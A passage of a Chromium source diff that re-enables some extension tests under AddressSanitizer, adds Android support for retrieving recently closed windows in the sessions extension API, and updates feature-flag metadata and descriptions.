-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
 // TODO(crbug.com/345326424): Flaky on Mac builds.
-#if defined(ADDRESS_SANITIZER) || BUILDFLAG(IS_MAC)
+#if BUILDFLAG(IS_MAC)
 #define MAYBE_IncognitoModeHandling_SplitMode \
   DISABLED_IncognitoModeHandling_SplitMode
 #else
diff --git a/chrome/browser/extensions/api/scripting/scripting_apitest.cc b/chrome/browser/extensions/api/scripting/scripting_apitest.cc
index 9bce72e1..a214bf77 100644
--- a/chrome/browser/extensions/api/scripting/scripting_apitest.cc
+++ b/chrome/browser/extensions/api/scripting/scripting_apitest.cc
@@ -316,14 +316,7 @@
 // Test that if an extension with persistent scripts is quickly unloaded while
 // these scripts are being fetched, requests that wait on that extension's
 // script load will be unblocked. Regression for crbug.com/1250575
-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
-#if defined(ADDRESS_SANITIZER)
-#define MAYBE_RapidLoadUnload DISABLED_RapidLoadUnload
-#else
-#define MAYBE_RapidLoadUnload RapidLoadUnload
-#endif
-IN_PROC_BROWSER_TEST_F(ScriptingAPITest, MAYBE_RapidLoadUnload) {
+IN_PROC_BROWSER_TEST_F(ScriptingAPITest, RapidLoadUnload) {
   ResultCatcher result_catcher;
   const Extension* extension = LoadExtension(
       test_data_dir_.AppendASCII("scripting/register_one_script"));
diff --git a/chrome/browser/extensions/api/sessions/sessions_api.cc b/chrome/browser/extensions/api/sessions/sessions_api.cc
index 6de5bc7b..aab5c71 100644
--- a/chrome/browser/extensions/api/sessions/sessions_api.cc
+++ b/chrome/browser/extensions/api/sessions/sessions_api.cc
@@ -51,11 +51,22 @@
 #include "ui/base/mojom/window_show_state.mojom.h"
 
 #if BUILDFLAG(IS_ANDROID)
+#include "base/android/jni_callback.h"
+#include "base/functional/callback.h"
+#include "chrome/browser/android/tab_android.h"
 #include "chrome/browser/ui/android/tab_model/android_live_tab_context.h"
+#include "chrome/browser/ui/android/tab_model/tab_model.h"
+#include "chrome/browser/ui/android/tab_model/tab_model_list.h"
+#include "components/tabs/public/tab_interface.h"
 #else
 #include "chrome/browser/ui/browser_live_tab_context.h"
 #endif
 
+#if BUILDFLAG(IS_ANDROID)
+// Must come after all headers that specialize FromJniType() / ToJniType().
+#include "chrome/android/chrome_jni_headers/RecentlyClosedEntriesManager_jni.h"
+#endif  // BUILDFLAG(IS_ANDROID)
+
 static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
 
 namespace extensions {
@@ -203,6 +214,12 @@
 
 }  // namespace
 
+SessionsGetRecentlyClosedFunction::SessionsGetRecentlyClosedFunction() =
+    default;
+
+SessionsGetRecentlyClosedFunction::~SessionsGetRecentlyClosedFunction() =
+    default;
+
 api::tabs::Tab SessionsGetRecentlyClosedFunction::CreateTabModel(
     const sessions::tab_restore::Tab& tab,
     bool active) {
@@ -268,7 +285,6 @@
   EXTENSION_FUNCTION_VALIDATE(
       max_results >= 0 && max_results <= api::sessions::MAX_SESSION_RESULTS);
 
-  std::vector<api::sessions::Session> result;
   sessions::TabRestoreService* tab_restore_service =
       TabRestoreServiceFactory::GetForProfile(
           Profile::FromBrowserContext(browser_context()));
@@ -278,7 +294,8 @@
   if (!tab_restore_service) {
     DCHECK(browser_context()->IsOffTheRecord())
         << "sessions::TabRestoreService expected for normal profiles";
-    return RespondNow(ArgumentList(GetRecentlyClosed::Results::Create(result)));
+    return RespondNow(
+        ArgumentList(GetRecentlyClosed::Results::Create(result_)));
   }
 
   // List of entries. They are ordered from most to least recent.
@@ -292,23 +309,99 @@
       auto& group = static_cast<const sessions::tab_restore::Group&>(*entry);
       for (const auto& tab : group.tabs) {
         if (counter++ < max_results) {
-          result.push_back(CreateSessionModel(*tab));
+          result_.push_back(CreateSessionModel(*tab));
         } else {
           break;
         }
       }
     } else {
       if (counter++ < max_results) {
-        result.push_back(CreateSessionModel(*entry));
+        result_.push_back(CreateSessionModel(*entry));
       } else {
         break;
       }
     }
   }
 
-  return RespondNow(ArgumentList(GetRecentlyClosed::Results::Create(result)));
+#if BUILDFLAG(IS_ANDROID)
+  // On Android stores window information on the Java side, so call through JNI
+  // to fetch any recently closed window. Window state may not be persisted at
+  // the time of the call, so pass a callback that will be invoked when window
+  // state is available. The callback is invoked with null on error and when
+  // there is no window available.
+  JNIEnv* env = base::android::AttachCurrentThread();
+  base::OnceCallback<void(const base::android::JavaRef<jobject>&)> j_callback =
+      base::BindOnce(
+          &SessionsGetRecentlyClosedFunction::OnGetRecentlyClosedWindow, this);
+  Java_RecentlyClosedEntriesManager_getRecentlyClosedWindow(
+      env, base::android::ToJniCallback(env, std::move(j_callback)));
+  if (did_respond()) {
+    // The callback may be invoked immediately for errors, in which case
+    // we have already responded.
+    return AlreadyResponded();
+  } else {
+    // Otherwise we will respond in OnGetRecentlyClosedWindow().
+    return RespondLater();
+  }
+#else
+  // On Win/Mac/Linux the TabRestoreService has window information, so we can
+  // respond immediately.
+  return RespondNow(ArgumentList(GetRecentlyClosed::Results::Create(result_)));
+#endif  // BUILDFLAG(IS_ANDROID)
 }
 
+#if BUILDFLAG(IS_ANDROID)
+void SessionsGetRecentlyClosedFunction::OnGetRecentlyClosedWindow(
+    const base::android::JavaRef<jobject>& j_tab_model) {
+  if (j_tab_model.is_null()) {
+    // No tab model, so no valid window to add.
+    Respond(ArgumentList(GetRecentlyClosed::Results::Create(result_)));
+    return;
+  }
+
+  // Look up the C++ side TabModel.
+  TabModel* model = TabModelList::FindNativeTabModelForJavaObject(j_tab_model);
+  if (!model) {
+    Respond(ArgumentList(GetRecentlyClosed::Results::Create(result_)));
+    return;
+  }
+
+  // Extract the URL for the closed windows.
+  std::vector<api::tabs::Tab> api_tabs;
+  for (int i = 0; i < model->GetTabCount(); ++i) {
+    TabAndroid* tab = model->GetTabAt(i);
+    CHECK(tab);
+    // NOTE: The tabs may not have WebContents, since the window is closed.
+    // TODO(crbug.com/405219627): Extract more metadata from the tab and return
+    // it to the API caller.
+    api::tabs::Tab api_tab;
+    api_tab.index = i;
+    GURL url = tab->GetURL();
+    api_tab.url = url.spec();
+
+    // Scrub any sensitive information from the tab before adding to the list.
+    ExtensionTabUtil::ScrubTabBehavior scrub_tab_behavior =
+        ExtensionTabUtil::GetScrubTabBehavior(extension(),
+                                              source_context_type(), url);
+    ExtensionTabUtil::ScrubTabForExtension(extension(), nullptr, &api_tab,
+                                           scrub_tab_behavior);
+    api_tabs.push_back(std::move(api_tab));
+  }
+
+  // Populate the window and session objects.
+  api::windows::Window window;
+  window.tabs = std::move(api_tabs);
+  api::sessions::Session session;
+  session.window = std::move(window);
+
+  // Add the session to the result.
+  result_.push_back(std::move(session));
+
+  // Respond to the API caller.
+  Respond(ArgumentList(GetRecentlyClosed::Results::Create(result_)));
+}
+#endif  // BUILDFLAG(IS_ANDROID)
+
 api::tabs::Tab SessionsGetDevicesFunction::CreateTabModel(
     const std::string& session_tag,
     const sessions::SessionTab& tab,
diff --git a/chrome/browser/extensions/api/sessions/sessions_api.h b/chrome/browser/extensions/api/sessions/sessions_api.h
index 4d7a78d..00f278b 100644
--- a/chrome/browser/extensions/api/sessions/sessions_api.h
+++ b/chrome/browser/extensions/api/sessions/sessions_api.h
@@ -19,6 +19,10 @@
 #include "extensions/browser/extension_function.h"
 #include "extensions/buildflags/buildflags.h"
 
+#if BUILDFLAG(IS_ANDROID)
+#include "base/android/scoped_java_ref.h"
+#endif
+
 static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
 
 class BrowserWindowInterface;
@@ -33,8 +37,16 @@
 class SessionId;
 
 class SessionsGetRecentlyClosedFunction : public ExtensionFunction {
+ public:
+  SessionsGetRecentlyClosedFunction();
+  SessionsGetRecentlyClosedFunction(const SessionsGetRecentlyClosedFunction&) =
+      delete;
+  SessionsGetRecentlyClosedFunction& operator=(
+      const SessionsGetRecentlyClosedFunction&) = delete;
+
  protected:
-  ~SessionsGetRecentlyClosedFunction() override = default;
+  // Ref-counted so protected destructor.
+  ~SessionsGetRecentlyClosedFunction() override;
   ResponseAction Run() override;
   DECLARE_EXTENSION_FUNCTION("sessions.getRecentlyClosed",
                              SESSIONS_GETRECENTLYCLOSED)
@@ -48,6 +60,12 @@
       const sessions::tab_restore::Group& group);
   api::sessions::Session CreateSessionModel(
       const sessions::tab_restore::Entry& entry);
+#if BUILDFLAG(IS_ANDROID)
+  void OnGetRecentlyClosedWindow(
+      const base::android::JavaRef<jobject>& j_tab_model);
+#endif  // BUILDFLAG(IS_ANDROID)
+
+  std::vector<api::sessions::Session> result_;
 };
 
 class SessionsGetDevicesFunction : public ExtensionFunction {
diff --git a/chrome/browser/extensions/api/sessions/sessions_apitest.cc b/chrome/browser/extensions/api/sessions/sessions_apitest.cc
index de87dd48..518b269 100644
--- a/chrome/browser/extensions/api/sessions/sessions_apitest.cc
+++ b/chrome/browser/extensions/api/sessions/sessions_apitest.cc
@@ -16,8 +16,8 @@
 #include "base/path_service.h"
 #include "base/strings/pattern.h"
 #include "base/strings/stringprintf.h"
+#include "base/task/single_thread_task_runner.h"
 #include "base/test/bind.h"
-#include "base/test/scoped_feature_list.h"
 #include "base/test/test_future.h"
 #include "build/build_config.h"
 #include "build/chromeos_buildflags.h"
@@ -64,6 +64,11 @@
 #include "ash/constants/ash_switches.h"
 #endif
 
+#if BUILDFLAG(IS_ANDROID)
+#include "base/test/scoped_feature_list.h"
+#include "chrome/browser/flags/android/chrome_feature_list.h"
+#endif  // BUILDFLAG(IS_ANDROID)
+
 static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
 
 namespace extensions {
@@ -234,6 +239,11 @@
     return fn;
   }
 
+#if BUILDFLAG(IS_ANDROID)
+  base::test::ScopedFeatureList feature_list_{
+      chrome::android::kRecentlyClosedTabsAndWindows};
+#endif  // BUILDFLAG(IS_ANDROID)
+
   scoped_refptr<const Extension> extension_;
 };
 
@@ -410,7 +420,6 @@
       << error;
 }
 
-#if BUILDFLAG(ENABLE_EXTENSIONS)
 // Tests chrome.sessions.getRecentlyClosed() for windows. Opens a second browser
 // window with two tabs, closes it, then calls the extension API function and
 // verifies one window with two tabs was recently closed.
@@ -433,17 +442,26 @@
   ASSERT_EQ(2, tab_list2->GetTabCount());
 
   // Navigate each tab, otherwise window close does not persist them in the tab
-  // restore service.
-  for (int i = 0; i < tab_list2->GetTabCount(); ++i) {
-    content::WebContents* tab = tab_list2->GetTab(i)->GetContents();
-    ASSERT_TRUE(NavigateToURL(tab, GURL("chrome://version/")));
-  }
+  // restore service. Use different URLs.
+  content::WebContents* contents0 = tab_list2->GetTab(0)->GetContents();
+  ASSERT_TRUE(NavigateToURL(contents0, GURL("chrome://version/")));
+  content::WebContents* contents1 = tab_list2->GetTab(1)->GetContents();
+  ASSERT_TRUE(NavigateToURL(contents1, GURL("chrome://credits/")));
 
   // Close the second window and wait for it to close.
   BrowserCloseWaiter waiter(browser2);
   browser2->GetWindow()->Close();
   waiter.Wait();
 
+  // Ensure posted tasks from window close have run.
+  base::RunLoop().RunUntilIdle();
+
+  // NOTE: At this point persistent tab state may not yet be initialized on
+  // Android. SessionsGetRecentlyClosedFunction copes with this by using a
+  // Java-side callback that is not invoked until the window data is available.
+  // Sleeping here or spinning the message loop would work around the issue,
+  // but is the wrong solution.
+
   // chrome.sessions.getRecentlyClosed() should return 1 entry.
   std::optional<base::Value> result = utils::RunFunctionAndReturnSingleResult(
       CreateFunction<SessionsGetRecentlyClosedFunction>(true).get(), "[]",
@@ -465,16 +483,20 @@
   ASSERT_TRUE(tabs) << "Tabs information missing from the window dict.";
   EXPECT_EQ(2u, tabs->size());
 
-  // The URLs are chrome://version/.
-  for (size_t i = 0; i < tabs->size(); ++i) {
-    const base::DictValue* tab = (*tabs)[i].GetIfDict();
-    ASSERT_TRUE(tab) << i;
-    const std::string* url = tab->FindString("url");
-    ASSERT_TRUE(url) << i;
-    EXPECT_EQ("chrome://version/", *url) << i;
-  }
+  // The first URL is chrome://version/.
+  const base::DictValue* tab0 = (*tabs)[0].GetIfDict();
+  ASSERT_TRUE(tab0);
+  const std::string* url0 = tab0->FindString("url");
+  ASSERT_TRUE(url0);
+  EXPECT_EQ("chrome://version/", *url0);
+
+  // The seconnd URL is chrome://credits/.
+  const base::DictValue* tab1 = (*tabs)[1].GetIfDict();
+  ASSERT_TRUE(tab1);
+  const std::string* url1 = tab1->FindString("url");
+  ASSERT_TRUE(url1);
+  EXPECT_EQ("chrome://credits/", *url1);
 }
-#endif  // BUILDFLAG(ENABLE_EXTENSIONS)
 
 IN_PROC_BROWSER_TEST_F(ExtensionSessionsTest, GetRecentlyClosedIncognito) {
   base::ListValue sessions(
diff --git a/chrome/browser/extensions/api/tabs/tabs_api.cc b/chrome/browser/extensions/api/tabs/tabs_api.cc
index 9a61cb7..472c5273 100644
--- a/chrome/browser/extensions/api/tabs/tabs_api.cc
+++ b/chrome/browser/extensions/api/tabs/tabs_api.cc
@@ -1091,6 +1091,9 @@
     }
   }
 
+  TabListInterface* tab_list = TabListInterface::From(new_window);
+  CHECK(tab_list);
+
 #if !BUILDFLAG(IS_ANDROID)
   bool moved_tab = false;
 #endif
@@ -1106,7 +1109,29 @@
                           /*allow_other_window_types=*/true, &error) < 0) {
         return Error(std::move(error));
       }
-#if !BUILDFLAG(IS_ANDROID)
+
+#if BUILDFLAG(IS_ANDROID)
+      // On Android, a new window is created with a single default tab. If urls_
+      // is empty, it means:
+      //
+      // (1) We haven't navigated, which would have navigated the default tab to
+      // a URL;
+      //
+      // (2) There should be only 2 tabs: the default tab and the tab with
+      // "create_data_->tab_id".
+      //
+      // As the tab with "create_data_->tab_id" is added to the end of the tab
+      // list, we close the first (default) tab to match the behavior on other
+      // platforms: the new window should only have the tab with
+      // "create_data_->tab_id".
+      //
+      // TODO(crbug.com/477611601): Remove this logic when a new Android window
+      // has no tabs, like Windows/Mac/Linux.
+      if (urls_.empty()) {
+        CHECK(tab_list->GetTabCount() == 2);
+        tab_list->CloseTab(tab_list->GetTab(0)->GetHandle());
+      }
+#else
       moved_tab = true;
 #endif
     }
@@ -1127,8 +1152,6 @@
 
   // Select the first tab in the window, if there's at least one tab. There may
   // be no tabs, since we allow the creation of an empty popup above.
-  TabListInterface* tab_list = TabListInterface::From(new_window);
-  CHECK(tab_list);
   if (tab_list->GetTabCount() > 0) {
     tab_list->ActivateTab(tab_list->GetTab(0)->GetHandle());
   }
diff --git a/chrome/browser/extensions/chrome_test_extension_loader_browsertest.cc b/chrome/browser/extensions/chrome_test_extension_loader_browsertest.cc
index 8e82a98..9f087d5 100644
--- a/chrome/browser/extensions/chrome_test_extension_loader_browsertest.cc
+++ b/chrome/browser/extensions/chrome_test_extension_loader_browsertest.cc
@@ -8,23 +8,28 @@
 #include "base/strings/stringprintf.h"
 #include "chrome/browser/extensions/extension_apitest.h"
 #include "chrome/browser/profiles/profile.h"
-#include "chrome/browser/ui/browser.h"
-#include "chrome/test/base/ui_test_utils.h"
 #include "content/public/test/browser_test.h"
 #include "content/public/test/browser_test_utils.h"
 #include "extensions/browser/extension_system.h"
 #include "extensions/browser/user_script_loader.h"
 #include "extensions/browser/user_script_manager.h"
+#include "extensions/buildflags/buildflags.h"
 #include "extensions/common/mojom/host_id.mojom.h"
 #include "extensions/test/test_extension_dir.h"
 #include "net/dns/mock_host_resolver.h"
 
+static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
+
 namespace extensions {
 
-class ChromeTestExtensionLoaderUnitTest : public ExtensionApiTest {
+class ChromeTestExtensionLoaderTest : public ExtensionApiTest {
  public:
-  ChromeTestExtensionLoaderUnitTest() = default;
-  ~ChromeTestExtensionLoaderUnitTest() override = default;
+  ChromeTestExtensionLoaderTest() = default;
+  ChromeTestExtensionLoaderTest(const ChromeTestExtensionLoaderTest& other) =
+      delete;
+  ChromeTestExtensionLoaderTest& operator=(
+      const ChromeTestExtensionLoaderTest& other) = delete;
+  ~ChromeTestExtensionLoaderTest() override = default;
 
   void SetUpOnMainThread() override {
     ExtensionApiTest::SetUpOnMainThread();
@@ -36,7 +41,7 @@
 // Tests that when loading an extension, the test loading code waits for
 // content scripts to be fully read and initialized before continuing.
 // Regression test for https://crbug.com/898682.
-IN_PROC_BROWSER_TEST_F(ChromeTestExtensionLoaderUnitTest,
+IN_PROC_BROWSER_TEST_F(ChromeTestExtensionLoaderTest,
                        ContentScriptsAreFullyLoaded) {
   TestExtensionDir test_dir;
   test_dir.WriteManifest(
@@ -83,11 +88,10 @@
                   ->HasLoadedScripts());
 
   // Sanity check: Test that the scripts inject.
-  ASSERT_TRUE(ui_test_utils::NavigateToURL(
-      browser(),
-      embedded_test_server()->GetURL("example.com", "/simple.html")));
-
   content::WebContents* web_contents = GetActiveWebContents();
+  ASSERT_TRUE(NavigateToURL(web_contents, embedded_test_server()->GetURL(
+                                              "example.com", "/simple.html")));
+
   EXPECT_EQ(true, content::EvalJs(web_contents,
                                   "!!document.getElementById('script1');"));
   EXPECT_EQ(true, content::EvalJs(web_contents,
diff --git a/chrome/browser/extensions/event_metrics_browsertest.cc b/chrome/browser/extensions/event_metrics_browsertest.cc
index eef054fbb..2fbf687 100644
--- a/chrome/browser/extensions/event_metrics_browsertest.cc
+++ b/chrome/browser/extensions/event_metrics_browsertest.cc
@@ -40,14 +40,7 @@
 
 // Tests that the only the dispatch time histogram provided to the test is
 // emitted with a sane value, and that other provided metrics are not emitted.
-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
-#if defined(ADDRESS_SANITIZER)
-#define MAYBE_DispatchMetricTest DISABLED_DispatchMetricTest
-#else
-#define MAYBE_DispatchMetricTest DispatchMetricTest
-#endif
-IN_PROC_BROWSER_TEST_F(EventMetricsBrowserTest, MAYBE_DispatchMetricTest) {
+IN_PROC_BROWSER_TEST_F(EventMetricsBrowserTest, DispatchMetricTest) {
   ASSERT_TRUE(embedded_test_server()->Start());
   struct {
     const std::string event_metric_emitted;
diff --git a/chrome/browser/extensions/extension_function_registration_test.cc b/chrome/browser/extensions/extension_function_registration_browsertest.cc
similarity index 93%
rename from chrome/browser/extensions/extension_function_registration_test.cc
rename to chrome/browser/extensions/extension_function_registration_browsertest.cc
index 99824042..935714e 100644
--- a/chrome/browser/extensions/extension_function_registration_test.cc
+++ b/chrome/browser/extensions/extension_function_registration_browsertest.cc
@@ -11,6 +11,9 @@
 #include "content/public/test/browser_test.h"
 #include "extensions/browser/extension_function_registry.h"
 #include "extensions/browser/extension_system.h"
+#include "extensions/buildflags/buildflags.h"
+
+static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
 
 namespace extensions {
 
@@ -31,7 +34,12 @@
   const ExtensionFunctionRegistry::FactoryMap& factories =
       ExtensionFunctionRegistry::GetInstance().GetFactoriesForTesting();
   // Sanity check: Many, many functions should have been registered.
+#if BUILDFLAG(IS_ANDROID)
+  // Android has fewer supported APIs than Win/Mac/Linux.
+  EXPECT_GT(factories.size(), 400u);
+#else
   EXPECT_GT(factories.size(), 500u);
+#endif
 
   std::set<std::string> seen_names;
   std::map<functions::HistogramValue, std::string> seen_histograms;
diff --git a/chrome/browser/extensions/extension_tab_util.cc b/chrome/browser/extensions/extension_tab_util.cc
index cd5dd7ba..e09d58d 100644
--- a/chrome/browser/extensions/extension_tab_util.cc
+++ b/chrome/browser/extensions/extension_tab_util.cc
@@ -1377,13 +1377,4 @@
   return TabListInterface::From(&browser);
 }
 
-#if BUILDFLAG(ENABLE_EXTENSIONS)
-// static
-TabStripModel* ExtensionTabUtil::GetEditableTabStripModel(Browser* browser) {
-  if (!IsTabStripEditable())
-    return nullptr;
-  return browser->tab_strip_model();
-}
-#endif  // BUILDFLAG(ENABLE_EXTENSIONS)
-
 }  // namespace extensions
diff --git a/chrome/browser/extensions/extension_tab_util.h b/chrome/browser/extensions/extension_tab_util.h
index 2d09997..afe95e7 100644
--- a/chrome/browser/extensions/extension_tab_util.h
+++ b/chrome/browser/extensions/extension_tab_util.h
@@ -340,13 +340,6 @@
   // and only if every browser's tab list is editable. See comments above
   // IsTabStripEditable() for details.
   static TabListInterface* GetEditableTabList(BrowserWindowInterface& browser);
-
-#if BUILDFLAG(ENABLE_EXTENSIONS)
-  // Retrieve a TabStripModel only if every browser is editable.
-  // TODO(https://crbug.com/430344931): Remove this in favor of
-  // GetEditableTabList().
-  static TabStripModel* GetEditableTabStripModel(Browser* browser);
-#endif  // BUILDFLAG(ENABLE_EXTENSIONS)
 };
 
 }  // namespace extensions
diff --git a/chrome/browser/extensions/service_worker_apitest.cc b/chrome/browser/extensions/service_worker_apitest.cc
index c6f47dd..b23d4cd 100644
--- a/chrome/browser/extensions/service_worker_apitest.cc
+++ b/chrome/browser/extensions/service_worker_apitest.cc
@@ -2333,17 +2333,8 @@
 // 2) An incognito window was open.
 // 3) Toggle the allow in incognito switch to off
 // Regression test for crbug.com/1394588
-// TODO(crbug.com/40282331): Disabled on ASAN due to leak caused by renderer gin
-// objects which are intended to be leaked.
-#if defined(ADDRESS_SANITIZER)
-#define MAYBE_DisallowIncognitoWithOnInstalledListener \
-  DISABLED_DisallowIncognitoWithOnInstalledListener
-#else
-#define MAYBE_DisallowIncognitoWithOnInstalledListener \
-  DisallowIncognitoWithOnInstalledListener
-#endif
 IN_PROC_BROWSER_TEST_F(ServiceWorkerBasedBackgroundTest,
-                       MAYBE_DisallowIncognitoWithOnInstalledListener) {
+                       DisallowIncognitoWithOnInstalledListener) {
   ResultCatcher catcher;
   base::ScopedAllowBlockingForTesting allow_blocking;
   base::ScopedTempDir scoped_temp_dir;
diff --git a/chrome/browser/extensions/service_worker_lifetime_keepalive_browsertest.cc b/chrome/browser/extensions/service_worker_lifetime_keepalive_browsertest.cc
index a8eeb8e..547b12c6 100644
--- a/chrome/browser/extensions/service_worker_lifetime_keepalive_browsertest.cc
+++ b/chrome/browser/extensions/service_worker_lifetime_keepalive_browsertest.cc
@@ -834,19 +834,14 @@
 
   Profile* incognito_profile =
       profile()->GetPrimaryOTRProfile(/*create_if_needed=*/true);
-  // TODO(crbug.com/335829868): Refactor to use
-  // ServiceWorkerTaskQueue::TestObserver::DidStartWorker() to ensure worker is
-  // ready to receive event in BackgroundScriptExecutor::ExecuteScript().
-  TestServiceWorkerContextObserver sw_observer_opener_extension(
-      incognito_profile, opener_extension->id());
-  TestServiceWorkerContextObserver sw_observer_listener_extension(
-      incognito_profile, listener_extension->id());
+  service_worker_test_utils::TestServiceWorkerTaskQueueObserver
+      task_queue_observer;
   // Open a new tab in incognito. This spawns the new process for the split mode
   // extensions.
   Browser* incognito_browser = OpenURLOffTheRecord(
       profile(), embedded_test_server()->GetURL("example.com", "/simple.html"));
-  sw_observer_listener_extension.WaitForWorkerStarted();
-  sw_observer_opener_extension.WaitForWorkerStarted();
+  task_queue_observer.WaitForWorkerContextInitialized(listener_extension->id());
+  task_queue_observer.WaitForWorkerContextInitialized(opener_extension->id());
 
   // Send a message from one extension to the other, opening a message pipe.
   // Since the listener extension never responds, the message pipe will
@@ -990,15 +985,14 @@
   Profile* incognito_profile =
       profile()->GetPrimaryOTRProfile(/*create_if_needed=*/true);
   // Wait for the single worker from split_mode_extension.
-  // TODO(crbug.com/335829868): Refactor to use
-  // ServiceWorkerTaskQueue::TestObserver::DidStartWorker() to ensure worker is
-  // ready to receive event in BackgroundScriptExecutor::ExecuteScript().
-  TestServiceWorkerContextObserver sw_observer(incognito_profile);
+  service_worker_test_utils::TestServiceWorkerTaskQueueObserver
+      task_queue_observer;
   // Open a new tab in incognito. This spawns the new process for the split mode
   // extension.
   Browser* incognito_browser = OpenURLOffTheRecord(
       profile(), embedded_test_server()->GetURL("example.com", "/simple.html"));
-  sw_observer.WaitForWorkerStarted();
+  task_queue_observer.WaitForWorkerContextInitialized(
+      split_mode_extension->id());
 
   // Send a message to the spanning mode extension from the incognito context of
   // the split mode extension.
diff --git a/chrome/browser/extensions/user_script_world_configuration_manager_unittest.cc b/chrome/browser/extensions/user_script_world_configuration_manager_unittest.cc
index 3eba582..0a1e38b 100644
--- a/chrome/browser/extensions/user_script_world_configuration_manager_unittest.cc
+++ b/chrome/browser/extensions/user_script_world_configuration_manager_unittest.cc
@@ -9,12 +9,15 @@
 #include "chrome/browser/extensions/extension_service_test_with_install.h"
 #include "chrome/browser/profiles/profile.h"
 #include "extensions/browser/extension_prefs.h"
+#include "extensions/buildflags/buildflags.h"
 #include "extensions/common/extension.h"
 #include "extensions/common/extension_builder.h"
 #include "extensions/common/extension_id.h"
 #include "extensions/test/test_extension_dir.h"
 #include "testing/gmock/include/gmock/gmock.h"
 
+static_assert(BUILDFLAG(ENABLE_EXTENSIONS_CORE));
+
 namespace extensions {
 
 class UserScriptWorldConfigurationManagerTest
diff --git a/chrome/browser/flag-metadata.json b/chrome/browser/flag-metadata.json
index b7eb3b39..96e65e8 100644
--- a/chrome/browser/flag-metadata.json
+++ b/chrome/browser/flag-metadata.json
@@ -137,11 +137,6 @@
     "expiry_milestone": -1
   },
   {
-    "name": "allow-dsp-based-aec",
-    "owners": [ "peah@chromium.org" ],
-    "expiry_milestone": 128
-  },
-  {
     "name": "allow-dsp-based-agc",
     "owners": [ "peah@chromium.org" ],
     "expiry_milestone": 128
@@ -297,11 +292,6 @@
     "expiry_milestone": 137
   },
   {
-    "name": "android-history-pane-favicons",
-    "owners": [ "hitarthkothari@google.com", "ckitagawa@google.com", "clank-tab-dev@google.com"],
-    "expiry_milestone": 150
-  },
-  {
     "name": "android-hub-search-tab-groups",
     "owners": [ "wylieb@google.com", "bjfong@google.com", "clank-tab-dev@google.com" ],
     "expiry_milestone": 147
@@ -767,6 +757,11 @@
     "expiry_milestone": 155
   },
   {
+    "name": "autofill-enable-bottom-sheet-scan-card-and-fill",
+    "owners": [ "qihuizhao@google.com", "payments-autofill-team@google.com"],
+    "expiry_milestone": 155
+  },
+  {
     "name": "autofill-enable-buy-now-pay-later",
     "owners": ["vinnypersky@google.com", "payments-autofill-team@google.com"],
     "expiry_milestone": 150
@@ -4742,7 +4737,6 @@
   {
     "name": "files-trash-auto-cleanup",
     "owners": [
-      "jboulic@chromium.org",
       "benreich@chromium.org",
       "simmonsjosh@google.com"
     ],
@@ -4895,7 +4889,7 @@
       "pabouchard@google.com",
       "bling-mony-pod@google.com"
     ],
-    "expiry_milestone": 146
+    "expiry_milestone": 151
   },
   {
     "name": "fre-signin-alternative-secondary-button-text",
@@ -6681,7 +6675,7 @@
       "pabouchard@google.com",
       "bling-mony-pod@google.com"
     ],
-    "expiry_milestone": 146
+    "expiry_milestone": 151
   },
   {
     "name": "ntp-background-customization",
@@ -8015,6 +8009,15 @@
     "owners": [ "awscreen@chromium.org", "//printing/OWNERS" ],
     "expiry_milestone": 145
   },
+    {
+    "name": "reader-mode-blur-transition-animation",
+    "owners": [
+      "wylieb@google.com",
+      "evanluo@google.com",
+      "chrome-reader-mode-team@google.com"
+    ],
+    "expiry_milestone": 155
+  },
   {
     "name": "reader-mode-content-settings-for-links",
     "owners": ["fernandex@google.com", "bling-flags@google.com"],
@@ -9269,7 +9272,10 @@
   },
   {
     "name": "upload-office-to-cloud",
-    "owners": [ "jboulic@chromium.org", "alexbn@chromium.org", "simmonsjosh@google.com" ],
+    "owners": [
+      "alexbn@chromium.org",
+      "simmonsjosh@google.com"
+    ],
     "expiry_milestone": 133
   },
   {
diff --git a/chrome/browser/flag_descriptions.h b/chrome/browser/flag_descriptions.h
index 50c22f6..7730fe641 100644
--- a/chrome/browser/flag_descriptions.h
+++ b/chrome/browser/flag_descriptions.h
@@ -5023,11 +5023,6 @@
     "enable-android-window-popup-predict-final-bounds flag that regulates "
     "pre-creation bounds adjustments.";
 
-inline constexpr char kAndroidHistoryPaneFaviconsName[] =
-    "Android History Pane Favicons";
-inline constexpr char kAndroidHistoryPaneFaviconsDescription[] =
-    "Enable better favicons in the Android history pane.";
-
 inline constexpr char kAndroidZoomIndicatorName[] = "Android Zoom Indicator";
 inline constexpr char kAndroidZoomIndicatorDescription[] =
     "Enable zoom indicator on Android.";
@@ -5500,6 +5495,11 @@
 inline constexpr char kReadAloudName[] = "Read Aloud";
 inline constexpr char kReadAloudDescription[] =
     "Controls the Read Aloud feature";
+inline constexpr char kReaderModeBlurTransitionAnimationName[] =
+    "Reader Mode blur transition animation";
+inline constexpr char kReaderModeBlurTransitionAnimationDescription[] =
+    "Display a blur animation during reader mode navigations to "
+    "provide an enhanced transition experience.";
 inline constexpr char kReaderModeDistillInAppName[] =
     "Reader Mode distillation in app";
 inline constexpr char kReaderModeDistillInAppDescription[] =
@@ -7726,11 +7726,6 @@
 
 // Prefer keeping this section sorted to adding new definitions down here.
 
-inline constexpr char kCrOSDspBasedAecAllowedName[] =
-    "Allow CRAS to use a DSP-based AEC if available";
-inline constexpr char kCrOSDspBasedAecAllowedDescription[] =
-    "Allows the system variant of the AEC in CRAS to be run on DSP ";
-
 inline constexpr char kCrOSDspBasedNsAllowedName[] =
     "Allow CRAS to use a DSP-based NS if available";
 inline constexpr char kCrOSDspBasedNsAllowedDescription[] =
diff --git a/chrome/browser/glic/BUILD.gn b/chrome/browser/glic/BUILD.gn
index b20de33e..3d863b9 100644
--- a/chrome/browser/glic/BUILD.gn
+++ b/chrome/browser/glic/BUILD.gn
@@ -518,7 +518,7 @@
 source_set("browser_tests") {
   testonly = true
   defines = [ "HAS_OUT_OF_PROC_TEST_RUNNER" ]
-  sources = []
+  sources = [ "service/glic_instance_coordinator_browsertest.cc" ]
   if (!is_android) {
     sources += [
       "actor/glic_actor_policy_checker_browsertest.cc",
@@ -536,15 +536,26 @@
